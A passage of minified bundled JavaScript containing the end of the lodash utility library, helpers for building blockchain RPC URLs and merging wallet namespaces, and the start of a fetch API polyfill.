t)ft.call(t,n)&&ci(e,n,t[n])})),tf=cs((function(e,t){os(t,Of(t),e)})),nf=cs((function(e,t,n,r){os(t,Of(t),e,r)})),rf=cs((function(e,t,n,r){os(t,Sf(t),e,r)})),of=Ds(gi);function sf(e,t){var n=Or(e);return null==t?n:hi(n,t)}var af=wo((function(t,n){t=nt(t);var r=-1,i=n.length,o=i>2?n[2]:e;for(o&&aa(n[0],n[1],o)&&(i=1);++r<i;)for(var s=n[r],a=Of(s),u=-1,c=a.length;++u<c;){var l=a[u],f=t[l];(f===e||il(f,ut[l])&&!ft.call(t,l))&&(t[l]=s[l])}return t})),uf=wo((function(t){return t.push(e,Ts),an(kf,e,t)}));function cf(e,t){return Sn(e,Vs(t,3),Ai)}function lf(e,t){return Sn(e,Vs(t,3),Ni)}function ff(e,t){return null==e?e:Ci(e,Vs(t,3),Of)}function hf(e,t){return null==e?e:Pi(e,Vs(t,3),Of)}function df(e,t){return e&&Ai(e,Vs(t,3))}function pf(e,t){return e&&Ni(e,Vs(t,3))}function gf(e){return null==e?[]:Ti(e,Sf(e))}function yf(e){return null==e?[]:Ti(e,Of(e))}function vf(t,n,r){var i=null==t?e:Mi(t,n);return i===e?r:i}function mf(e,t){return null!=e&&ea(e,t,Di)}function _f(e,t){return null!=e&&ea(e,t,zi)}var bf=bs((function(e,t,n){null!=t&&"function"!=typeof t.toString&&(t=pt.call(t)),e[t]=n}),Rh(Ah)),wf=bs((function(e,t,n){null!=t&&"function"!=typeof t.toString&&(t=pt.call(t)),ft.call(e,t)?e[t].push(n):e[t]=[n]}),Vs),Ef=wo(qi);function Sf(e){return ll(e)?ii(e):no(e)}function Of(e){return ll(e)?ii(e,!0):ro(e)}function xf(e,t){var n={};return t=Vs(t,3),Ai(e,(function(e,r,i){pi(n,t(e,r,i),e)})),n}function If(e,t){var n={};return t=Vs(t,3),Ai(e,(function(e,r,i){pi(n,r,t(e,r,i))})),n}var Rf=cs((function(e,t,n){uo(e,t,n)})),kf=cs((function(e,t,n,r){uo(e,t,n,r)})),Cf=Ds((function(e,t){var n={};if(null==e)return n;var r=!1;t=gn(t,(function(t){return t=Vo(t,e),r||(r=t.length>1),t})),os(e,Fs(e),n),r&&(n=vi(n,l|f|h,Ms));for(var i=t.length;i--;)jo(n,t[i]);return n}));function Pf(e,t){return Nf(e,Bc(Vs(t)))}var Af=Ds((function(e,t){return null==e?{}:ho(e,t)}));function Nf(e,t){if(null==e)return{};var n=gn(Fs(e),(function(e){return[e]}));return t=Vs(t),po(e,n,(function(e,n){return t(e,n[0])}))}function Tf(t,n,r){var i=-1,o=(n=Vo(n,t)).length;for(o||(o=1,t=e);++i<o;){var s=null==t?e:t[Aa(n[i])];s===e&&(i=o,s=r),t=wl(s)?s.call(t):s}return t}function Mf(e,t,n){return null==e?e:Oo(e,t,n)}function Lf(t,n,r,i){return i="function"==typeof i?i:e,null==t?t:Oo(t,n,r,i)}var jf=Ps(Sf),Uf=Ps(Of);function Df(e,t,n){var r=ul(e),i=r||dl(e)||Fl(e);if(t=Vs(t,4),null==n){var o=e&&e.constructor;n=i?r?new o:[]:Ol(e)&&wl(o)?Or(Et(e)):{}}return(i?cn:Ai)(e,(function(e,r,i){return t(n,e,r,i)})),n}function zf(e,t){return null==e||jo(e,t)}function Ff(e,t,n){return null==e?e:Uo(e,t,qo(n))}function Bf(t,n,r,i){return i="function"==typeof i?i:e,null==t?t:Uo(t,n,qo(r),i)}function Hf(e){return null==e?[]:Dn(e,Sf(e))}function qf(e){return null==e?[]:Dn(e,Of(e))}function Vf(t,n,r){return r===e&&(r=n,n=e),r!==e&&(r=(r=Ql(r))==r?r:0),n!==e&&(n=(n=Ql(n))==n?n:0),yi(Ql(t),n,r)}function $f(t,n,r){return n=Kl(n),r===e?(r=n,n=0):r=Kl(r),Fi(t=Ql(t),n,r)}function Wf(t,n,r){if(r&&"boolean"!=typeof r&&aa(t,n,r)&&(n=r=e),r===e&&("boolean"==typeof n?(r=n,n=e):"boolean"==typeof t&&(r=t,t=e)),t===e&&n===e?(t=0,n=1):(t=Kl(t),n===e?(n=t,t=0):n=Kl(n)),t>n){var i=t;t=n,n=i}if(r||t%1||n%1){var o=bn();return Qt(t+o*(n-t+Vt("1e-"+((o+"").length-1))),n)}return mo(t,n)}var Kf=ps((function(e,t,n){return t=t.toLowerCase(),e+(n?Gf(t):t)}));function Gf(e){return wh(Zl(e).toLowerCase())}function Yf(e){return(e=Zl(e))&&e.replace(Ye,qn).replace(At,"")}function Qf(t,n,r){t=Zl(t),n=Mo(n);var i=t.length,o=r=r===e?i:yi(Gl(r),0,i);return(r-=n.length)>=0&&t.slice(r,o)==n}function Jf(e){return(e=Zl(e))&&xe.test(e)?e.replace(Se,Vn):e}function Xf(e){return(e=Zl(e))&&Te.test(e)?e.replace(Ne,"\\$&"):e}var Zf=ps((function(e,t,n){return e+(n?"-":"")+t.toLowerCase()})),eh=ps((function(e,t,n){return e+(n?" ":"")+t.toLowerCase()})),th=ds("toLowerCase");function nh(e,t,n){e=Zl(e);var r=(t=Gl(t))?rr(e):0;if(!t||r>=t)return e;var i=(t-r)/2;return Ss(Ft(i),n)+e+Ss(Lt(i),n)}function rh(e,t,n){e=Zl(e);var r=(t=Gl(t))?rr(e):0;return t&&r<t?e+Ss(t-r,n):e}function ih(e,t,n){e=Zl(e);var r=(t=Gl(t))?rr(e):0;return t&&r<t?Ss(t-r,n)+e:e}function oh(e,t,n){return n||null==t?t=0:t&&(t=+t),Zt(Zl(e).replace(Me,""),t||0)}function sh(t,n,r){return n=(r?aa(t,n,r):n===e)?1:Gl(n),bo(Zl(t),n)}function ah(){var e=arguments,t=Zl(e[0]);return e.length<3?t:t.replace(e[1],e[2])}var uh=ps((function(e,t,n){return e+(n?"_":"")+t.toLowerCase()}));function ch(t,n,r){return r&&"number"!=typeof r&&aa(t,n,r)&&(n=r=e),(r=r===e?j:r>>>0)?(t=Zl(t))&&("string"==typeof n||null!=n&&!Ll(n))&&!(n=Mo(n))&&Kn(t)?Wo(ir(t),0,r):t.split(n,r):[]}var lh=ps((function(e,t,n){return e+(n?" ":"")+wh(t)}));function fh(e,t,n){return e=Zl(e),n=null==n?0:yi(Gl(n),0,e.length),t=Mo(t),e.slice(n,n+t.length)==t}function hh(t,n,r){var i=Sr.templateSettings;r&&aa(t,n,r)&&(n=e),t=Zl(t),n=nf({},n,i,Ns);var o,a,u=nf({},n.imports,i.imports,Ns),c=Sf(u),l=Dn(u,c),f=0,h=n.interpolate||Qe,d="__p += '",p=rt((n.escape||Qe).source+"|"+h.source+"|"+(h===ke?He:Qe).source+"|"+(n.evaluate||Qe).source+"|$","g"),g="//# sourceURL="+(ft.call(n,"sourceURL")?(n.sourceURL+"").replace(/\s/g," "):"lodash.templateSources["+ ++Ut+"]")+"\n";t.replace(p,(function(e,n,r,i,s,u){return r||(r=i),d+=t.slice(f,u).replace(Je,$n),n&&(o=!0,d+="' +\n__e("+n+") +\n'"),s&&(a=!0,d+="';\n"+s+";\n__p += '"),r&&(d+="' +\n((__t = ("+r+")) == null ? '' : __t) +\n'"),f=u+e.length,e})),d+="';\n";var y=ft.call(n,"variable")&&n.variable;if(y){if(Fe.test(y))throw new Ze(s)}else d="with (obj) {\n"+d+"\n}\n";d=(a?d.replace(_e,""):d).replace(be,"$1").replace(we,"$1;"),d="function("+(y||"obj")+") {\n"+(y?"":"obj || (obj = {});\n")+"var __t, __p = ''"+(o?", __e = _.escape":"")+(a?", __j = Array.prototype.join;\nfunction print() { __p += __j.call(arguments, '') }\n":";\n")+d+"return __p\n}";var v=Sh((function(){return et(c,g+"return "+d).apply(e,l)}));if(v.source=d,_l(v))throw v;return v}function dh(e){return Zl(e).toLowerCase()}function ph(e){return Zl(e).toUpperCase()}function gh(t,n,r){if((t=Zl(t))&&(r||n===e))return jn(t);if(!t||!(n=Mo(n)))return t;var i=ir(t),o=ir(n);return Wo(i,Fn(i,o),Bn(i,o)+1).join("")}function yh(t,n,r){if((t=Zl(t))&&(r||n===e))return t.slice(0,or(t)+1);if(!t||!(n=Mo(n)))return t;var i=ir(t);return Wo(i,0,Bn(i,ir(n))+1).join("")}function vh(t,n,r){if((t=Zl(t))&&(r||n===e))return t.replace(Me,"");if(!t||!(n=Mo(n)))return t;var i=ir(t);return Wo(i,Fn(i,ir(n))).join("")}function mh(t,n){var r=x,i=I;if(Ol(n)){var o="separator"in n?n.separator:o;r="length"in n?Gl(n.length):r,i="omission"in n?Mo(n.omission):i}var s=(t=Zl(t)).length;if(Kn(t)){var a=ir(t);s=a.length}if(r>=s)return t;var u=r-rr(i);if(u<1)return i;var c=a?Wo(a,0,u).join(""):t.slice(0,u);if(o===e)return c+i;if(a&&(u+=c.length-u),Ll(o)){if(t.slice(u).search(o)){var l,f=c;for(o.global||(o=rt(o.source,Zl(qe.exec(o))+"g")),o.lastIndex=0;l=o.exec(f);)var h=l.index;c=c.slice(0,h===e?u:h)}}else if(t.indexOf(Mo(o),u)!=u){var d=c.lastIndexOf(o);d>-1&&(c=c.slice(0,d))}return c+i}function _h(e){return(e=Zl(e))&&Oe.test(e)?e.replace(Ee,sr):e}var bh=ps((function(e,t,n){return e+(n?" ":"")+t.toUpperCase()})),wh=ds("toUpperCase");function Eh(t,n,r){return t=Zl(t),(n=r?e:n)===e?Gn(t)?cr(t):En(t):t.match(n)||[]}var Sh=wo((function(t,n){try{return an(t,e,n)}catch(e){return _l(e)?e:new Ze(e)}})),Oh=Ds((function(e,t){return cn(t,(function(t){t=Aa(t),pi(e,t,Nc(e[t],e))})),e}));function xh(e){var t=null==e?0:e.length,n=Vs();return e=t?gn(e,(function(e){if("function"!=typeof e[1])throw new ot(o);return[n(e[0]),e[1]]})):[],wo((function(n){for(var r=-1;++r<t;){var i=e[r];if(an(i[0],this,n))return an(i[1],this,n)}}))}function Ih(e){return mi(vi(e,l))}function Rh(e){return function(){return e}}function kh(e,t){return null==e||e!=e?t:e}var Ch=ms(),Ph=ms(!0);function Ah(e){return e}function Nh(e){return to("function"==typeof e?e:vi(e,l))}function Th(e){return so(vi(e,l))}function Mh(e,t){return ao(e,vi(t,l))}var Lh=wo((function(e,t){return function(n){return qi(n,e,t)}})),jh=wo((function(e,t){return function(n){return qi(e,n,t)}}));function Uh(e,t,n){var r=Sf(t),i=Ti(t,r);null==n&&(!Ol(t)||!i.length&&r.length)&&(n=t,t=e,e=this,i=Ti(t,Sf(t)));var o=!(Ol(n)&&"chain"in n&&!n.chain),s=wl(e);return cn(i,(function(n){var r=t[n];e[n]=r,s&&(e.prototype[n]=function(){var t=this.__chain__;if(o||t){var n=e(this.__wrapped__);return(n.__actions__=is(this.__actions__)).push({func:r,args:arguments,thisArg:e}),n.__chain__=t,n}return r.apply(e,yn([this.value()],arguments))})})),e}function Dh(){return Gt._===this&&(Gt._=yt),this}function zh(){}function Fh(e){return e=Gl(e),wo((function(t){return lo(t,e)}))}var Bh=Es(gn),Hh=Es(fn),qh=Es(_n);function Vh(e){return ua(e)?Cn(Aa(e)):go(e)}function $h(t){return function(n){return null==t?e:Mi(t,n)}}var Wh=xs(),Kh=xs(!0);function Gh(){return[]}function Yh(){return!1}function Qh(){return{}}function Jh(){return""}function Xh(){return!0}function Zh(e,t){if((e=Gl(e))<1||e>T)return[];var n=j,r=Qt(e,j);t=Vs(t),e-=j;for(var i=Mn(r,t);++n<e;)t(n);return i}function ed(e){return ul(e)?gn(e,Aa):zl(e)?[e]:is(Pa(Zl(e)))}function td(e){var t=++ht;return Zl(e)+t}var nd=ws((function(e,t){return e+t}),0),rd=ks("ceil"),id=ws((function(e,t){return e/t}),1),od=ks("floor");function sd(t){return t&&t.length?xi(t,Ah,Ui):e}function ad(t,n){return t&&t.length?xi(t,Vs(n,2),Ui):e}function ud(e){return kn(e,Ah)}function cd(e,t){return kn(e,Vs(t,2))}function ld(t){return t&&t.length?xi(t,Ah,io):e}function fd(t,n){return t&&t.length?xi(t,Vs(n,2),io):e}var hd=ws((function(e,t){return e*t}),1),dd=ks("round"),pd=ws((function(e,t){return e-t}),0);function gd(e){return e&&e.length?Tn(e,Ah):0}function yd(e,t){return e&&e.length?Tn(e,Vs(t,2)):0}return Sr.after=Cc,Sr.ary=Pc,Sr.assign=ef,Sr.assignIn=tf,Sr.assignInWith=nf,Sr.assignWith=rf,Sr.at=of,Sr.before=Ac,Sr.bind=Nc,Sr.bindAll=Oh,Sr.bindKey=Tc,Sr.castArray=Xc,Sr.chain=$u,Sr.chunk=La,Sr.compact=ja,Sr.concat=Ua,Sr.cond=xh,Sr.conforms=Ih,Sr.constant=Rh,Sr.countBy=nc,Sr.create=sf,Sr.curry=Mc,Sr.curryRight=Lc,Sr.debounce=jc,Sr.defaults=af,Sr.defaultsDeep=uf,Sr.defer=Uc,Sr.delay=Dc,Sr.difference=Da,Sr.differenceBy=za,Sr.differenceWith=Fa,Sr.drop=Ba,Sr.dropRight=Ha,Sr.dropRightWhile=qa,Sr.dropWhile=Va,Sr.fill=$a,Sr.filter=ic,Sr.flatMap=ac,Sr.flatMapDeep=uc,Sr.flatMapDepth=cc,Sr.flatten=Ga,Sr.flattenDeep=Ya,Sr.flattenDepth=Qa,Sr.flip=zc,Sr.flow=Ch,Sr.flowRight=Ph,Sr.fromPairs=Ja,Sr.functions=gf,Sr.functionsIn=yf,Sr.groupBy=hc,Sr.initial=eu,Sr.intersection=tu,Sr.intersectionBy=nu,Sr.intersectionWith=ru,Sr.invert=bf,Sr.invertBy=wf,Sr.invokeMap=pc,Sr.iteratee=Nh,Sr.keyBy=gc,Sr.keys=Sf,Sr.keysIn=Of,Sr.map=yc,Sr.mapKeys=xf,Sr.mapValues=If,Sr.matches=Th,Sr.matchesProperty=Mh,Sr.memoize=Fc,Sr.merge=Rf,Sr.mergeWith=kf,Sr.method=Lh,Sr.methodOf=jh,Sr.mixin=Uh,Sr.negate=Bc,Sr.nthArg=Fh,Sr.omit=Cf,Sr.omitBy=Pf,Sr.once=Hc,Sr.orderBy=vc,Sr.over=Bh,Sr.overArgs=qc,Sr.overEvery=Hh,Sr.overSome=qh,Sr.partial=Vc,Sr.partialRight=$c,Sr.partition=mc,Sr.pick=Af,Sr.pickBy=Nf,Sr.property=Vh,Sr.propertyOf=$h,Sr.pull=uu,Sr.pullAll=cu,Sr.pullAllBy=lu,Sr.pullAllWith=fu,Sr.pullAt=hu,Sr.range=Wh,Sr.rangeRight=Kh,Sr.rearg=Wc,Sr.reject=wc,Sr.remove=du,Sr.rest=Kc,Sr.reverse=pu,Sr.sampleSize=Sc,Sr.set=Mf,Sr.setWith=Lf,Sr.shuffle=Oc,Sr.slice=gu,Sr.sortBy=Rc,Sr.sortedUniq=Eu,Sr.sortedUniqBy=Su,Sr.split=ch,Sr.spread=Gc,Sr.tail=Ou,Sr.take=xu,Sr.takeRight=Iu,Sr.takeRightWhile=Ru,Sr.takeWhile=ku,Sr.tap=Wu,Sr.throttle=Yc,Sr.thru=Ku,Sr.toArray=Wl,Sr.toPairs=jf,Sr.toPairsIn=Uf,Sr.toPath=ed,Sr.toPlainObject=Jl,Sr.transform=Df,Sr.unary=Qc,Sr.union=Cu,Sr.unionBy=Pu,Sr.unionWith=Au,Sr.uniq=Nu,Sr.uniqBy=Tu,Sr.uniqWith=Mu,Sr.unset=zf,Sr.unzip=Lu,Sr.unzipWith=ju,Sr.update=Ff,Sr.updateWith=Bf,Sr.values=Hf,Sr.valuesIn=qf,Sr.without=Uu,Sr.words=Eh,Sr.wrap=Jc,Sr.xor=Du,Sr.xorBy=zu,Sr.xorWith=Fu,Sr.zip=Bu,Sr.zipObject=Hu,Sr.zipObjectDeep=qu,Sr.zipWith=Vu,Sr.entries=jf,Sr.entriesIn=Uf,Sr.extend=tf,Sr.extendWith=nf,Uh(Sr,Sr),Sr.add=nd,Sr.attempt=Sh,Sr.camelCase=Kf,Sr.capitalize=Gf,Sr.ceil=rd,Sr.clamp=Vf,Sr.clone=Zc,Sr.cloneDeep=tl,Sr.cloneDeepWith=nl,Sr.cloneWith=el,Sr.conformsTo=rl,Sr.deburr=Yf,Sr.defaultTo=kh,Sr.divide=id,Sr.endsWith=Qf,Sr.eq=il,Sr.escape=Jf,Sr.escapeRegExp=Xf,Sr.every=rc,Sr.find=oc,Sr.findIndex=Wa,Sr.findKey=cf,Sr.findLast=sc,Sr.findLastIndex=Ka,Sr.findLastKey=lf,Sr.floor=od,Sr.forEach=lc,Sr.forEachRight=fc,Sr.forIn=ff,Sr.forInRight=hf,Sr.forOwn=df,Sr.forOwnRight=pf,Sr.get=vf,Sr.gt=ol,Sr.gte=sl,Sr.has=mf,Sr.hasIn=_f,Sr.head=Xa,Sr.identity=Ah,Sr.includes=dc,Sr.indexOf=Za,Sr.inRange=$f,Sr.invoke=Ef,Sr.isArguments=al,Sr.isArray=ul,Sr.isArrayBuffer=cl,Sr.isArrayLike=ll,Sr.isArrayLikeObject=fl,Sr.isBoolean=hl,Sr.isBuffer=dl,Sr.isDate=pl,Sr.isElement=gl,Sr.isEmpty=yl,Sr.isEqual=vl,Sr.isEqualWith=ml,Sr.isError=_l,Sr.isFinite=bl,Sr.isFunction=wl,Sr.isInteger=El,Sr.isLength=Sl,Sr.isMap=Il,Sr.isMatch=Rl,Sr.isMatchWith=kl,Sr.isNaN=Cl,Sr.isNative=Pl,Sr.isNil=Nl,Sr.isNull=Al,Sr.isNumber=Tl,Sr.isObject=Ol,Sr.isObjectLike=xl,Sr.isPlainObject=Ml,Sr.isRegExp=Ll,Sr.isSafeInteger=jl,Sr.isSet=Ul,Sr.isString=Dl,Sr.isSymbol=zl,Sr.isTypedArray=Fl,Sr.isUndefined=Bl,Sr.isWeakMap=Hl,Sr.isWeakSet=ql,Sr.join=iu,Sr.kebabCase=Zf,Sr.last=ou,Sr.lastIndexOf=su,Sr.lowerCase=eh,Sr.lowerFirst=th,Sr.lt=Vl,Sr.lte=$l,Sr.max=sd,Sr.maxBy=ad,Sr.mean=ud,Sr.meanBy=cd,Sr.min=ld,Sr.minBy=fd,Sr.stubArray=Gh,Sr.stubFalse=Yh,Sr.stubObject=Qh,Sr.stubString=Jh,Sr.stubTrue=Xh,Sr.multiply=hd,Sr.nth=au,Sr.noConflict=Dh,Sr.noop=zh,Sr.now=kc,Sr.pad=nh,Sr.padEnd=rh,Sr.padStart=ih,Sr.parseInt=oh,Sr.random=Wf,Sr.reduce=_c,Sr.reduceRight=bc,Sr.repeat=sh,Sr.replace=ah,Sr.result=Tf,Sr.round=dd,Sr.runInContext=t,Sr.sample=Ec,Sr.size=xc,Sr.snakeCase=uh,Sr.some=Ic,Sr.sortedIndex=yu,Sr.sortedIndexBy=vu,Sr.sortedIndexOf=mu,Sr.sortedLastIndex=_u,Sr.sortedLastIndexBy=bu,Sr.sortedLastIndexOf=wu,Sr.startCase=lh,Sr.startsWith=fh,Sr.subtract=pd,Sr.sum=gd,Sr.sumBy=yd,Sr.template=hh,Sr.times=Zh,Sr.toFinite=Kl,Sr.toInteger=Gl,Sr.toLength=Yl,Sr.toLower=dh,Sr.toNumber=Ql,Sr.toSafeInteger=Xl,Sr.toString=Zl,Sr.toUpper=ph,Sr.trim=gh,Sr.trimEnd=yh,Sr.trimStart=vh,Sr.truncate=mh,Sr.unescape=_h,Sr.uniqueId=td,Sr.upperCase=bh,Sr.upperFirst=wh,Sr.each=lc,Sr.eachRight=fc,Sr.first=Xa,Uh(Sr,function(){var e={};return Ai(Sr,(function(t,n){ft.call(Sr.prototype,n)||(e[n]=t)})),e}(),{chain:!1}),Sr.VERSION=n,cn(["bind","bindKey","curry","curryRight","partial","partialRight"],(function(e){Sr[e].placeholder=Sr})),cn(["drop","take"],(function(t,n){Rr.prototype[t]=function(r){r=r===e?1:Yt(Gl(r),0);var i=this.__filtered__&&!n?new Rr(this):this.clone();return i.__filtered__?i.__takeCount__=Qt(r,i.__takeCount__):i.__views__.push({size:Qt(r,j),type:t+(i.__dir__<0?"Right":"")}),i},Rr.prototype[t+"Right"]=function(e){return this.reverse()[t](e).reverse()}})),cn(["filter","map","takeWhile"],(function(e,t){var n=t+1,r=n==C||n==A;Rr.prototype[e]=function(e){var t=this.clone();return t.__iteratees__.push({iteratee:Vs(e,3),type:n}),t.__filtered__=t.__filtered__||r,t}})),cn(["head","last"],(function(e,t){var n="take"+(t?"Right":"");Rr.prototype[e]=function(){return this[n](1).value()[0]}})),cn(["initial","tail"],(function(e,t){var n="drop"+(t?"":"Right");Rr.prototype[e]=function(){return this.__filtered__?new Rr(this):this[n](1)}})),Rr.prototype.compact=function(){return this.filter(Ah)},Rr.prototype.find=function(e){return this.filter(e).head()},Rr.prototype.findLast=function(e){return this.reverse().find(e)},Rr.prototype.invokeMap=wo((function(e,t){return"function"==typeof e?new Rr(this):this.map((function(n){return qi(n,e,t)}))})),Rr.prototype.reject=function(e){return this.filter(Bc(Vs(e)))},Rr.prototype.slice=function(t,n){t=Gl(t);var r=this;return r.__filtered__&&(t>0||n<0)?new Rr(r):(t<0?r=r.takeRight(-t):t&&(r=r.drop(t)),n!==e&&(r=(n=Gl(n))<0?r.dropRight(-n):r.take(n-t)),r)},Rr.prototype.takeRightWhile=function(e){return this.reverse().takeWhile(e).reverse()},Rr.prototype.toArray=function(){return this.take(j)},Ai(Rr.prototype,(function(t,n){var r=/^(?:filter|find|map|reject)|While$/.test(n),i=/^(?:head|last)$/.test(n),o=Sr[i?"take"+("last"==n?"Right":""):n],s=i||/^find/.test(n);o&&(Sr.prototype[n]=function(){var n=this.__wrapped__,a=i?[1]:arguments,u=n instanceof Rr,c=a[0],l=u||ul(n),f=function(e){var t=o.apply(Sr,yn([e],a));return i&&h?t[0]:t};l&&r&&"function"==typeof c&&1!=c.length&&(u=l=!1);var h=this.__chain__,d=!!this.__actions__.length,p=s&&!h,g=u&&!d;if(!s&&l){n=g?n:new Rr(this);var y=t.apply(n,a);return y.__actions__.push({func:Ku,args:[f],thisArg:e}),new Ir(y,h)}return p&&g?t.apply(this,a):(y=this.thru(f),p?i?y.value()[0]:y.value():y)})})),cn(["pop","push","shift","sort","splice","unshift"],(function(e){var t=st[e],n=/^(?:push|sort|unshift)$/.test(e)?"tap":"thru",r=/^(?:pop|shift)$/.test(e);Sr.prototype[e]=function(){var e=arguments;if(r&&!this.__chain__){var i=this.value();return t.apply(ul(i)?i:[],e)}return this[n]((function(n){return t.apply(ul(n)?n:[],e)}))}})),Ai(Rr.prototype,(function(e,t){var n=Sr[t];if(n){var r=n.name+"";ft.call(pr,r)||(pr[r]=[]),pr[r].push({name:t,func:n})}})),pr[_s(e,y).name]=[{name:"wrapper",func:e}],Rr.prototype.clone=kr,Rr.prototype.reverse=Cr,Rr.prototype.value=Pr,Sr.prototype.at=Gu,Sr.prototype.chain=Yu,Sr.prototype.commit=Qu,Sr.prototype.next=Ju,Sr.prototype.plant=Zu,Sr.prototype.reverse=ec,Sr.prototype.toJSON=Sr.prototype.valueOf=Sr.prototype.value=tc,Sr.prototype.first=Sr.prototype.head,Rt&&(Sr.prototype[Rt]=Xu),Sr},fr=lr();Qt?((Qt.exports=fr)._=fr,Yt._=fr):Gt._=fr}.call(t);var wg=Object.defineProperty,Eg=Object.defineProperties,Sg=Object.getOwnPropertyDescriptors,Og=Object.getOwnPropertySymbols,xg=Object.prototype.hasOwnProperty,Ig=Object.prototype.propertyIsEnumerable,Rg=(e,t,n)=>t in e?wg(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,kg=(e,t)=>{for(var n in t||(t={}))xg.call(t,n)&&Rg(e,n,t[n]);if(Og)for(var n of Og(t))Ig.call(t,n)&&Rg(e,n,t[n]);return e},Cg=(e,t)=>Eg(e,Sg(t));function Pg(e,t,n){let r;const i=Ag(e);return t.rpcMap&&(r=t.rpcMap[i]),r||(r=`${yg}?chainId=eip155:${i}&projectId=${n}`),r}function Ag(e){return e.includes("eip155")?Number(e.split(":")[1]):Number(e)}function Ng(e){return e.map((e=>`${e.split(":")[0]}:${e.split(":")[1]}`))}function Tg(e,t){const n=Object.keys(t.namespaces).filter((t=>t.includes(e)));if(!n.length)return[];const r=[];return n.forEach((e=>{const n=t.namespaces[e].accounts;r.push(...n)})),r}function Mg(e={},t={}){const n=Lg(e),r=Lg(t);return bg.exports.merge(n,r)}function Lg(e){var t,n,r,i;const o={};if(!dc(e))return o;for(const[s,a]of Object.entries(e)){const e=sc(s)?[s]:a.chains,u=a.methods||[],c=a.events||[],l=a.rpcMap||{},f=ac(s);o[f]=Cg(kg(kg({},o[f]),a),{chains:zu(e,null==(t=o[f])?void 0:t.chains),methods:zu(u,null==(n=o[f])?void 0:n.methods),events:zu(c,null==(r=o[f])?void 0:r.events),rpcMap:kg(kg({},l),null==(i=o[f])?void 0:i.rpcMap)})}return o}function jg(e){return e.includes(":")?e.split(":")[2]:e}function Ug(e){const t={};for(const[n,r]of Object.entries(e)){const e=r.methods||[],i=r.events||[],o=r.accounts||[],s=sc(n)?[n]:r.chains?r.chains:Ng(r.accounts);t[n]={chains:s,methods:e,events:i,accounts:o}}return t}const Dg={},zg=e=>Dg[e],Fg=(e,t)=>{Dg[e]=t};var Bg={exports:{}};!function(e,n){var r,i=typeof self<"u"?self:t,o=function(){function e(){this.fetch=!1,this.DOMException=i.DOMException}return e.prototype=i,new e}();r=o,function(e){var t={searchParams:"URLSearchParams"in r,iterable:"Symbol"in r&&"iterator"in Symbol,blob:"FileReader"in r&&"Blob"in r&&function(){try{return new Blob,!0}catch{return!1}}(),formData:"FormData"in r,arrayBuffer:"ArrayBuffer"in r};function n(e){return e&&DataView.prototype.isPrototypeOf(e)}if(t.arrayBuffer)var i=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],o=ArrayBuffer.isView||function(e){return e&&i.indexOf(Object.prototype.toString.call(e))>-1};function s(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.^_`|~]/i.test(e))throw new TypeError("Invalid character in header field name");return e.toLowerCase()}function a(e){return"string"!=typeof e&&(e=String(e)),e}function u(e){var n={next:function(){var t=e.shift();return{done:void 0===t,value:t}}};return t.iterable&&(n[Symbol.iterator]=function(){return n}),n}function c(e){this.map={},e instanceof c?e.forEach((function(e,t){this.append(t,e)}),this):Array.isArray(e)?e.forEach((function(e){this.append(e[0],e[1])}),this):e&&Object.getOwnPropertyNames(e).forEach((function(t){this.append(t,e[t])}),this)}function l(e){if(e.bodyUsed)return Promise.reject(new TypeError("Already read"));e.bodyUsed=!0}function f(e){return new Promise((function(t,n){e.onload=function(){t(e.result)},e.onerror=function(){n(e.error)}}))}function h(e){var t=new FileReader,n=f(t);return t.readAsArrayBuffer(e),n}function d(e){var t=new FileReader,n=f(t);return t.readAsText(e),n}function p(e){for(var t=new Uint8Array(e),n=new Array(t.length),r=0;r<t.length;r++)n[r]=String.fromCharCode(t[r]);return n.join("")}function g(e){if(e.slice)return e.slice(0);var t=new Uint8Array(e.byteLength);return t.set(new Uint8Array(e)),t.buffer}function y(){return this.bodyUsed=!1,this._initBody=function(e){this._bodyInit=e,e?"string"==typeof e?this._bodyText=e:t.blob&&Blob.prototype.isPrototypeOf(e)?this._bodyBlob=e:t.formData&&FormData.prototype.isPrototypeOf(e)?this._bodyFormData=e:t.searchParams&&URLSearchParams.prototype.isPrototypeOf(e)?this._bodyText=e.toString():t.arrayBuffer&&t.blob&&n(e)?(this._bodyArrayBuffer=g(e.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer])):t.arrayBuffer&&(ArrayBuffer.prototype.isPrototypeOf(e)||o(e))?this._bodyArrayBuffer=g(e):this._bodyText=e=Object.prototype.toString.call(e):this._bodyText="",this.headers.get("content-type")||("string"==typeof e?this.headers.set("content-type","text/plain;charset=UTF-8"):this._bodyBlob&&this._bodyBlob.type?this.headers.set("content-type",this._bodyBlob.type):t.searchParams&&URLSearchParams.prototype.isPrototypeOf(e)&&this.headers.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"))},t.blob&&(this.blob=function(){var e=l(this);if(e)return e;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw new Error("could not read FormData body as blob");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?l(this)||Promise.resolve(this._bodyArrayBuffer):this.blob().then(h)}),this.text=function(){var e=l(this);if(e)return e;if(this._bodyBlob)return d(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(p(this._bodyArrayBuffer));if(this._bodyFormData)throw new Error("could not read FormData body as text");return Promise.resolve(this._bodyText)},t.formData&&(this.formData=function(){return this.text().then(b)}),this.json=function(){return this.text().then(JSON.parse)},this}c.prototype.append=function(e,t){e=s(e),t=a(t);var n=this.map[e];this.map[e]=n?n+", "+t:t},c.prototype.delete=function(e){delete this.map[s(e)]},c.prototype.get=function(e){return e=s(e),this.has(e)?this.map[e]:null},c.prototype.has=function(e){return this.map.hasOwnProperty(s(e))},c.prototype.set=function(e,t){this.map[s(e)]=a(t)},c.prototype.forEach=function(e,t){for(var n in this.map)this.map.hasOwnProperty(n)&&e.call(t,this.map[n],n,this)},c.prototype.keys=function(){var e=[];return this.forEach((function(t,n){e.push(n)})),u(e)},c.prototype.values=function(){var e=[];return this.forEach((function(t){e.push(t)})),u(e)},c.prototype.entries=function(){var e=[];return this.forEach((function(t,n){e.push([n,t])})),u(e)},t.iterable&&(c.prototype[Symbol.iterator]=c.prototype.entries);var v=["DELETE","GET","HEAD","OPTIONS","POST","PUT"];function m(e){var 